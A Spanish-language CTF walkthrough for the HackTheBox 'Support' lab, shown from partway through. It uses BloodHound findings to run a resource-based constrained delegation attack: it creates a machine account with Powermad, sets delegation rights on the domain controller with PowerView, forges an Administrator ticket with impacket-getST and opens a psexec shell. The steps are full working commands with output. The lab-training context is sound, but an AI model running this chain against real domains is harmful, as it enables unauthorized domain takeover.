download C:\Users\support\Documents\20230822203617\_BloodHound.zip blood.zip

```
*Evil-WinRM* PS C:\Users\support\Documents> download C:\Users\support\Documents\20230822203617_BloodHound.zip blood.zip
Info: Downloading C:\Users\support\Documents\20230822203617_BloodHound.zip to blood.zip


Info: Download successful!
```

subimos el .zip en el boton de upload.







al subir el archivo se queda cargando por cual unzipiamos y subimos los .json



una vez subido el .zip buscamos el grupo \*Shared Support Accoun\*










marcamos como grupo de alto valor




SHARED SUPPORT ACCO




## SHARED SUPPORT ACCOUNTS@SUPPORT.HTB

-  Set as Starting Node
-  Set as Ending Node
-  Shortest Paths to Here
-  Shortest Paths to Here from Owned
-  Edit Node
-  Mark Group as Owned
-  Unmark Group as High Value

tambien buscamos value targets



SHARED SUPPORT ACCOUNTS@S

Database Info


Node Info

Analysis




## DOMAIN ADMINS@SUPPORT.HTB

### OVERVIEW

Sessions	0
Reachable High Value Targets	8



SHARED SUPPORT ACCOUNTS@S

Database Info

Node Info

Analysis

### SHARED SUPPORT ACCOUNTS@SUPPORT.HTB

#### OVERVIEW


Sessions	1
Reachable High Value Targets	9

#### NODE PROPERTIES


Object ID	S-1-5-21-1677581083-3380853377-188903654-1103
Admin Count	False

#### EXTRA PROPERTIES

distingui	CN=SHARED SUPPORT
shedna	ACCOUNTS,CN=USERS,DC=SUPPORT,DC=HTB
me	



para acceder al domain controles tenemos que ver que nos dice bloodhound que debemos ejecutar



### constrained delegation attack. Generic All

en info nos dice que debemos hacer un resource based constrained delegation attack.

#### Help: GenericAll

Info

Abuse Info

Opsec Considerations

References

Full control of a computer object can be used to perform a resource based constrained delegation attack.

Abusing this primitive is currently only possible through the Rubeus project.

First, if an attacker does not control an account with an SPN set, Kevin Robertson's Powermad project can be used to add a new attacker-controlled computer account:

```
New-MachineAccount -MachineAccount attackersystem -Password $(Convert To-SecureString 'Summer2018!' -AsPlainText -Force)
```

PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account:

```
$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid
```

Close

buscamos en hacktricks esta palabrita resource based

## Attack













## Creating a Computer Object

You can create a computer object inside the domain using **powermad**:

```
import-module powermad
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureStri
```


```
PS C:\> New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
VERBOSE: [+] Domain Controller = dc01.offense.local
VERBOSE: [+] Domain = offense.local
VERBOSE: [+] SAMAccountName = FAKE01$
VERBOSE: [+] Distinguished Name = CN=FAKE01,CN=Computers,DC=offense,DC=local
[+] Machine account FAKE01 added
PS C:\>
```

damos click en powermad

 .gitignore	Initial commit	6 years ago	 BSD-3-Clause license  Activity  996 stars  30 watching  170 forks Report repository
 Invoke-DNSUpdate.ps1	Added better support for legacy ADIDNS zone location	5 years ago	
 LICENSE	Initial commit	6 years ago	
 Powermad.ps1	remove check for \$Zone in Remove-MachineAccount as it is not req...	7 months ago	
 Powermad.psd1	ADIDNS functions, pscredential, nonsecure dynamic updates	5 years ago	
 Powermad.psm1	ADIDNS functions, pscredential, nonsecure dynamic updates	5 years ago	
 README.md	Removed duplicate word and fixed misspelling	last year	

elegimos .ps1

click en raw



y descargamos

```

$ wget https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
--2023-08-23 00:03:43-- https://raw.githubusercontent.com/Kevin-Robertson/Powermad/master/Powermad.ps1
resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.110.133, 185.199.109.133, ...
connecting to raw.githubusercontent.com (raw.githubusercontent.com) [185.199.111.133]:443: connected.
HTTP request sent, awaiting response... 200 OK
length: 135576 (132K) [text/plain]
saving to: 'Powermad.ps1'
Powermad.ps1
100%[=====]
PS: Credential object that will be used to disable the machine account.
2023-08-23 00:03:43 (23.4 MB/s) - 'Powermad.ps1' saved [135576/135576]
.PARAMETER DistinguishedName
Distinguished name for the computers OU.

```

subimos el .ps1

```
*Evil-WinRM* PS C:\Users\support\Documents> upload /home/kali/machineshtb/Support/Powermad.ps1
Info: Uploading /home/kali/machineshtb/Support/Powermad.ps1 to C:\Users\support\Documents\Powermad.ps1

Data: 180768 bytes of 180768 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\Users\support\Documents>
```

añadimos el comando

Import-Module .\Powermad.ps1

```
*Evil-WinRM* PS C:\Users\support\Documents> Import-Module .\Powermad.ps1
```

y añadimos la línea de hacktricks

New-MachineAccount -MachineAccount SERVICEA -Password \$(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

```
*Evil-WinRM* PS C:\Users\support\Documents> Import-Module .\Powermad.ps1
*Evil-WinRM* PS C:\Users\support\Documents> New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
Verbose: [+] Domain Controller = dc.support.htb
Verbose: [+] Domain = support.htb
Verbose: [+] SAMAccountName = SERVICEA$
Verbose: [+] Distinguished Name = CN=SERVICEA,CN=Computers,DC=support,DC=htb
[+] Machine account SERVICEA added
*Evil-WinRM* PS C:\Users\support\Documents>
```

ahora necesitamos el powerview.ps1 lo buscamos en github le damos a raw y descargamos

PowerSploit / Recon / PowerView.ps1

PowerSploit / Recon / PowerView.ps1

Harmj0y swapped default kerberoasting output formats f94a5d2 · 5 years ago History

Code Blame Executable File · 20914 lines (15833 loc) · 752 KB Raw

```
1 #requires -version 2
```

```
[kali@kali: /home/kali/machineshtb/Support]$ wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
--2023-08-23 00:12:46-- https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133,
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443 ... connected.
HTTP request sent, awaiting response... 200 OK
Length: 770279 (752K) [text/plain]
Saving to: 'PowerView.ps1'

PowerView.ps1 100%[=====
```

upload /home/kali/machineshtb/Support/PowerView.ps1



```
*Evil-WinRM* PS C:\Users\support\Documents> upload /home/kali/machineshtb/Support/PowerView.ps1
Info: Uploading /home/kali/machineshtb/Support/PowerView.ps1 to C:\Users\support\Documents\PowerView.ps1

Data: 1027036 bytes of 1027036 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\support\Documents>
```

hacemos un import

Import-Module .\PowerView.ps1

```
*Evil-WinRM* PS C:\Users\support\Documents> Import-Module .\PowerView.ps1
*Evil-WinRM* PS C:\Users\support\Documents>
```

si todo salio bien se puede checkear con get domain

```
*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer SERVICEA

*Evil-WinRM* PS C:\Users\support\Documents> Get-DomainComputer SERVICEA -Properties objectSid
*Evil-WinRM* PS C:\Users\support\Documents> echo $ComputerSid
S-1-5-21-1677581083-3380853377-188903654-5102
*Evil-WinRM* PS C:\Users\support\Documents>

pwdlastset : 8/22/2023 10:09:02 PM
logoncount : 0
badpasswordtime : 12/31/1600 4:00:00 PM
distinguishedname : CN=SERVICEA,CN=Computers,DC=support,DC=htb
objectclass : {top, person, organizationalPerson, user ... }
name : SERVICEA
objectsid : S-1-5-21-1677581083-3380853377-188903654-5102
samaccountname : SERVICEA$
localpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
accountexpires : NEVER
countrycode : 0
whenchanged : 8/23/2023 5:09:02 AM
instancetype : 4
usncreated : 82156
objectguid : 6a6b22c4-43dc-4b68-94be-4ecd110c2ca3
lastlogon : 12/31/1600 4:00:00 PM
lastlogoff : 12/31/1600 4:00:00 PM
objectcategory : CN=Computer,CN=Schema,CN=Configuration,DC=support,DC=htb
dscorepropagationdata : 1/1/1601 12:00:00 AM
serviceprincipalname : {RestrictedKrbHost/SERVICEA, HOST/SERVICEA, RestrictedKrbHost/SERVICEA}
ms-ds-creatorsid : {1, 5, 0, 0 ... }
badpwdcount : 0
cn : SERVICEA
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
whencreated : 8/23/2023 5:09:02 AM
primarygroupid : 515
iscriticalsystemobject : False
usnchanged : 82158
dnshostname : SERVICEA.support.htb
```

Siguiendo la guia debemos utilizar estos comandos



The screenshot shows the HackTricks website with a sidebar on the left containing links like 'WELCOME!', 'HackTricks Values & faq', and 'About the author'. The main content area is titled 'Using powercat' and displays a PowerShell script. The script sets up a raw security descriptor and uses the 'Set-DomainObject' cmdlet to set the 'msds-allowedtoactonbehalfofotheridentity' property on a target computer. The output shows the binary value {1, 0, 4, 128...}.


```
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;; $ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes}
```

```
#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'
```

```
msds-allowedtoactonbehalfofotheridentity
-----
{1, 0, 4, 128...}
```

las lineas que se cambiaron fueron de fakecomputer por servicea y targetcomputer por dc ya que asi se llama la maquina

```
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
Get-DomainComputer dc | Set-DomainObject -Set @{'msds-
allowedtoactonbehalfofotheridentity'=$SDBytes}
Get-DomainComputer dc -Properties 'msds-allowedtoactonbehalfofotheridentity'
```




para tener el ticket de admin buscamos esta linea



```
getST.py -spn cifs/WEB.ecorp.local -impersonate admin -dc-ip 192.168.33.203 ecorp.local/  
EVILCOMPUTER$:ev1IP@sS
```

cambios la linea a lo que tenemos y lo utilizamos con impacket, se cambio la linea de web.ecorp , la ip, el user y evilcomputer y el password.

```
impacket-getST -spn cifs/dc.support.htb -impersonate Administrator -dc-ip 10.10.11.174 support.htb/  
SERVICEA$:123456
```




exportamos el admin ccache

```
export KRB5CCNAME=Administrator.ccach
```

ahora con ipacket ya podemos tener una shell de admin

```
impacket-psexec -k dc.support.htb
```



si no funciona se recomienda tener el /etc/hosts con el dc.support.htb

```

(kali㉿kali)-[~/machineshtb/Support]
$ cat /etc/hosts
127.0.0.1    localhost
127.0.1.1    kali
::1         localhost ip6-localhost ip6-loopback
ff02::1     ip6-allnodes
ff02::2     ip6-allrouters
10.10.166.221 mafialive.thm
10.10.10.161 htb.local
10.10.11.174 support.htb dc dc.support.htb

(kali㉿kali)-[~/machineshtb/Support]
$

```

vamos a la carpeta user administrator y escritorio y tenemos la flag  
cd C:\Users\Administrator

```

C:\Users\Administrator> cd Desktop

C:\Users\Administrator\Desktop> dir
Volume in drive C has no label.
Volume Serial Number is 955A-5CBB

Directory of C:\Users\Administrator\Desktop

05/28/2022  04:17 AM    <DIR>          .
05/28/2022  04:11 AM    <DIR>          ..
08/21/2023  06:13 PM                34 root.txt
               1 File(s)                34 bytes
               2 Dir(s)  3,889,205,248 bytes free

C:\Users\Administrator\Desktop>

```